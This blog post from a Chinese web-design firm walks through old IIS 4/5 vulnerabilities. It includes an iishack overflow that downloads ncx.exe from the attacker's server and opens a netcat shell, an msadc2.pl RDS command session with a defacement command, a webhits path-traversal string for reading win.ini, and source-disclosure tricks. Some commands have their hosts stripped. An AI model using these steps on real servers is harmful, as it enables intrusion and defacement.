西安网站建设 | 西安网站制作 | 西安网站设计 | APP开发 | 兄弟网络 - 西安网站建设十余年经验,值得信赖!
了解市场新观点,内部案例剖析,增强服务意识与专业水平。

iis常见漏洞及防范措施(一)

来源:西安网站制作   日期:2015-05-27 09:21:36   点击:2211

1. iis4hack缓冲溢出 
     主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序  在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器: 
                
 c:>iishack.exe80/ncx.exe 
                 
然后你就使用netcat来连接你要检测的服务器: 
                 
c:>nc80 
 如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip 
                
 2.msadc 
     IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help 
                  [quack@chat quack]$ perl msadc2.pl -h 
                  -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
                  Usage: msadc.pl -h{ -d-X -v } 
                  -h= host you want to scan (ip or domain) 
                  -d= delay between calls, default 1 second 
                  -X = dump Index Server path table, if available 
                  -N = query VbBusObj for NetBIOS name 
                  -V = use VbBusObj instead of ActiveDataFactory 
                  -v = verbose 
                  -e = external dictionary file for step 5 
                  -u <\hostsharefile> = use UNC file 
                  -w = Windows 95 instead of Windows NT 
                  -c = v1 compatibility (three step query) 
                  -s= run only step 
                  Or a -R will resume a (v2) command session 
                  [quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/ 
                  -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
                  Type the command line you want to run (cmd /c assumed): 
                  cmd /c 
                  如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的: 
                  echo hacked by me > d:inetpubwwwrootvictimwebindex.htm 
                
 3.Codebrws.asp 
                  察看文件源代码  
                                 
  4.Showcode.asp 
                  察看文件源代码  
                             
   5.Null.htw 
                  察看文件源代码  
                                  
 6.webhits.dll & .htw 
   hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:  
                
如果你从服务器端获得如下信息: 
                
 format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消 
这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序: 
 /iissamples/issamples/oop/qfullhit.htw 
/iissamples/issamples/oop/qsumrhit.htw 
 /isssamples/exair/search/qfullhit.htw 
/isssamples/exair/search/qsumrhit.htw 
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用) 
一个攻击者可以使用如下的方法来访问系统中文件的内容:  
       ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full 

就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA)  要查看一些.asp文件的内容,你可以请求如下的URL:  你就得到了源代码 
                 
8.ASP Dot Bug 
    在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。  
     
                 
 9.ISM.DLL 
     这个漏洞是由Cerberus Information Security team.最早发现的,它运行在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL 程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行多次攻击。  

上一篇:网页安全技术指南(二)     下一篇:iis常见漏洞及防范措施(二)
扫码立即沟通
公众号加关注
版权所有:西安兄弟信息科技有限公司 陕ICP备07012704号-1   地址:陕西省西安市未央区凤城三路10号凤凰新城3号楼14F    
关闭
029-86512630 工作:8:30-17:30

*